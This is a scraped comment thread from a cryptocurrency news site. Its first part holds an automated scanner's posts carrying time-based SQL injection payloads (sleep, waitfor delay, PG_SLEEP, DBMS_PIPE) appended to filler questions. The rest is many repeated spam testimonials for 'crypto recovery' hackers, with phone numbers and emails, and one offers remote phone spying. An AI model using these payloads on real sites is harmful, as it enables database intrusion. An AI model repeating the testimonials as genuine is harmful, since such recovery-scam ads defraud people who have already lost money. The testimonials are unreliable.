    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 20:17 tyleradams

    As time passes, there are an increasing number of frauds involving Bitcoin and other cryptocurrencies. Although there are many individuals who advertise recovering money online, people should use caution in dealing, especially when money is involved. You can trust NVIDIA TECH HACKERS [[email protected]], I promise. They are the top internet recovery company, and as their names indicate, your money is reclaimed as soon as feasible. My bitcoin was successfully retrieved in large part thanks to NVIDIA TECH HACKERS. Ensure that you get top-notch service; NVIDIA TECH HACKERS provides evidence of its work; and payment is only made when the service has been completed to your satisfaction. Reach them via email: [email protected] on google mail

  • 17.10.25 20:20 lindseyvonn

    Have you gotten yourself involved in a cryptocurrency scam or any scam at all? If yes, know that you are not alone, there are a lot of people in this same situation. I'm a Health Worker and was a victim of a cryptocurrency scam that cost me a lot of money. This happened a few weeks ago, there’s only one solution which is to talk to the right people, if you don’t do this you will end up being really depressed. I was really devastated until went on LinkedIn one evening after my work hours and i saw lots of reviews popped up on my feed about [email protected], I sent an email to the team who came highly recommended - [email protected] I started seeing some hope for myself from the moment I sent them an email. The good part is they made the entire process stress free for me, i literally sat and waited for them to finish and I received what I lost in my wallet

  • 17.10.25 20:22 richardcharles

    I would recommend NVIDIA TECH HACKERS to anyone that needs this service. I decided to get into crypto investment and I ended up getting my crypto lost to an investor late last year. The guy who was supposed to be managing my account turned out to be a scammer all along. I invested 56,000 USD and at first, my reading and profit margins were looking good. I started getting worried when I couldn’t make withdrawals and realized that I’ve been scammed. I came across some of the testimonials that people said about NVIDIA TECH HACKERS and how helpful he has been in recovering their funds. I immediately contacted him in his mail at [email protected] so I can get his assistance. One week into the recovery process the funds were traced and recovered back from the scammer. I can't appreciate him enough for his professionalism.

  • 17.10.25 20:23 stevekalfman

    If you need a hacker for scam crypto recovery or mobile spy access remotely kindly reach out to [email protected] for quick response, I hired this hacker and he did a nice job. before NVIDIA TECH HACKERS, I met with different hacker's online which turns out to be scam, this NVIDIA TECH HACKERS case was different and he is the trusted hacker I can vote and refer.

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon